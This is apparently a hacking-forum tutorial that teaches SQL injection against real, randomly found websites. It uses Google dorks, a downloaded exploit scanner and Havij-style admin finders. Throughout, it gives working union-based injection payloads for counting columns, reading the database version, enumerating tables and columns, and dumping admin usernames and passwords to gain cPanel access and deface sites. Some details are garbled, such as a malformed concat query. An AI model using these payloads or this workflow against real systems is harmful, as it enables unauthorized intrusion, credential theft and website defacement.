SQL Injection
 is a code injection technique that exploits a security vulnerability 
occurring in the database layer of an application. The vulnerability is 
present when user input is either incorrectly filtered for string 
literal escape characters embedded in SQL statements or user input is 
not strongly typed and thereby unexpectedly executed. It is an instance 
of a more general class of vulnerabilities that can occur whenever one 
programming or scripting language is embedded inside another. SQL 
injection attacks are also known as SQL insertion attacks. (wikipedia definition)
What will I need to perform an SQL Injection attack?
 
[+] exploit scanner
[+] a good list of "google dorks"
[+] admin finder (Use Havij)
[+] half a brain and the will to learn lol 

NOW DOWNLOAD the EXPLOIT SCANNER FROM:
or
or
or
or
password: www.reiluke.i.ph
THE LIST OF GOOGLE DORKS ARE HERE:
Ok after you are done downloading the tools. Open the .rar located on your desktop. Now open the 
this list you can pick any dork you feel like scanning with. For good search results search for a dork like this.
this list you can pick any dork you feel like scanning with. For good search results search for a dork like this.
Code:
index.php?id=
After
 you have chose a dork like above, copy it into your clipboard for 
further use. Now open your exploit scanner.exe. (scanner made by 
reiluke). At the top where it says "Dork" your going to want to paste 
your dork into the box.
Atfer
 you have done this your going to want to switch your "Max Url" from 100
 to 1000 for alot of search results. Then press scan on your exploit 
scanner. After it is done scanning your going to press "Test Sites". 
After all this is done you should have two lists.
After
 it is done testing all scanned sites. These pre-tested sites might be 
sqli vulnerable. But you must first check each site individually. To 
test a individual site add a " ' " after the url. For example.
Code:
sqlivulnerablesite.com/index.php?id=1'
*NOTE* With this exploit scanner it auto-quotes all the urls.
Lets
 say for instance you found a site that might be vulnerable (or what you
 think maybe a vulnerable site). If a error on the web page comes up 
something like this.
Code:
You
 have an error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near '\'' at line 1
Then
 its vulnerable to sql injection. The first step to this multi-step 
systematic attack on the sql databases is to found out the number of 
columns there is in the sql database. To found this out we use this code
 injection in the address bar after the website url. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 1--
Load the page. If the page loads correctly with that code injection in the url then we are on the right track 
Knowing that there is already 1 column in this database we do another code injection. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 2--
If the page loads correctly again then this attack can still be performed.
Usually if the pages loads correctly after trying the #2 then I try stepping the number up to around 10. 
 
*NOTE* If you load the web page on a code injection like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 10--
and you get a result like this.
Code:
Unknown column '10' in 'order clause'
Then
 you must go down a number until you reach the number of columns that is
 in the database where it allows the web page to load correctly without 
any errors on the web page. For instance since the error on the web page
 said "unknown column '10'" we must go down to the number 9. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 order by 9--
If your page loads correctly then this means there is 9 columns in the database 
The
 next step in this attack is to find out what column is vulnerable to 
our attack. We use this code injection in your address bar after the 
vulnerable site. Like this.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--
After
 you have loaded the page it should show which columns are vulnerable. 
Usually shows about 2-3 columns. I personally use the the lowest number 
that is vulnerable. For instance "2". Lets say the vulnerable column in 
the database is "2". The next code injection we use is to found out the 
version of the database. Like This.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,@@version,3,4,5,6,7,8,9
When
 the web page is loaded, where the number "2" was on the web page there 
should be in place of it the "database version". It is best if you a 
beginner to make sure the database version is 5.0 on higher like 5.0.17.
 Anything below 5.0 you are going to be required to brute force each of 
the tables for information. So now that we have the database version 
which is "5.0.17", we must now find the table names with this code 
injection at the top in your address bar.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables--
After
 the page is loaded it should have all the table names on the web page. 
The table name that your going to want to find is admins. Once you have 
found admins or something that is similar to that, then we do another 
code injection to found out that columns which are in that table with 
this code.
Code:
sqlivulnerablesite.com/index.php?id=1
 union all select 1,column_name,3,4,5,6,7,8,9 from 
information_schema.columns where table_name=char(x)--
*NOTE* Here (x) is the ascii value of the table name.
Now we must find the ascii value of the word admins. 
 
The ascii value of admins is
Code:
& #97 ; & #100 ; & #109 ; & #105 ; & #110; & #115 ;
Delete all the ";" , "#" , and "&". So it should look like this.
Code:
97,100,109,105,110,115
Now
 replace the the "x" with that ascii number code. Now your new code 
injection should look something like this. Enter it in your url address 
bar.
Code:
sqlivulnerablesite.com/index.php?id=1
 union all select 1,column_name,3,4,5,6,7,8,9 from 
information_schema.columns where 
table_name=char(97,100,109,105,110,115)--
When
 the page loads you should get something like/similar to username and 
password on the web page. To get the data from that column you must use a
 code injection like this.
Code:
sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --
*NOTE* (0x3a) is the ascii value of the column name
When the page loads it should show the data of the username and password for cpanel access.
 
Now
 to access the cpanel we must find the login page. I provided a admin 
finder.exe in the .rar. Open it up and type in the url of your 
vulnerable site. From there it scan till it finds the login page for 
admin cpanel access. Which can lead to defacement and web server 
compromise. 
 
Hopefully
 someone found this thread useful/helpful. I take full credit in writing
 this tutorial out. PM me if you need any further help with your sql 
injections!
 
 
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